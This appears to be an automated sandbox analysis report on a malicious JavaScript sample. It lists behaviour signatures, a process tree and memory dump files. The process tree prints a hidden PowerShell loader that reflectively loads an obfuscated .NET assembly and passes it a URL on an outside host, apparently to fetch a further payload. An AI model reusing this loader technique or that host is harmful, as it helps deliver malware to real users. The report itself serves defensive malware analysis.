Analysis
- max time kernel
179s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
06/08/2026, 14:58
General
- Target 1a84990fa973a85cf728e230c83385bdbf940623dd4266f86493bde74198852f.js
- Size 13.7MB
- Sample260806-scg21stemh
- SHA256 1a84990fa973a85cf728e230c83385bdbf940623dd4266f86493bde74198852f
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\1a84990fa973a85cf728e230c83385bdbf940623dd4266f86493bde74198852f.js1⤵
- Creates a file in the Startup directory
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('https://pricing.mason-cars.autos/img_065646.png','','C:UsersPublic','ehueu1zdEq','jsc','','jsc','','','C:UsersPublic','ehueu1zdEq','','5','','KurhmrLStj','0','','','')"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1524-0-0x00007FFC6A3EF000-0x00007FFC6A3F0000-memory.dmp
memory/1524-1-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-2-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-5-0x0000019D396A0000-0x0000019D396C2000-memory.dmp
memory/1524-6-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-7-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-9-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-8-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-10-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-11-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-12-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-13-0x0000019D39740000-0x0000019D397CC000-memory.dmp
memory/1524-137-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-140-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-139-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-478-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-134-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-132-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-128-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-126-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-124-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-122-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-120-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-118-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-116-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-114-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-112-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-108-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-106-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-104-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-102-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-100-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-96-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-94-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-92-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-90-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-88-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-84-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-82-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-78-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-76-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-74-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-72-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-68-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-66-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-64-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-60-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-54-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-52-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-51-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-48-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-46-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-44-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-42-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-40-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-37-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-27-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-38-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-130-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-110-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-99-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-86-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-80-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-70-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-62-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-58-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-56-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-35-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-33-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-31-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-29-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-25-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-23-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-21-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-19-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-17-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-15-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-14-0x0000019D39740000-0x0000019D397C6000-memory.dmp
memory/1524-4082-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp
memory/1524-4083-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp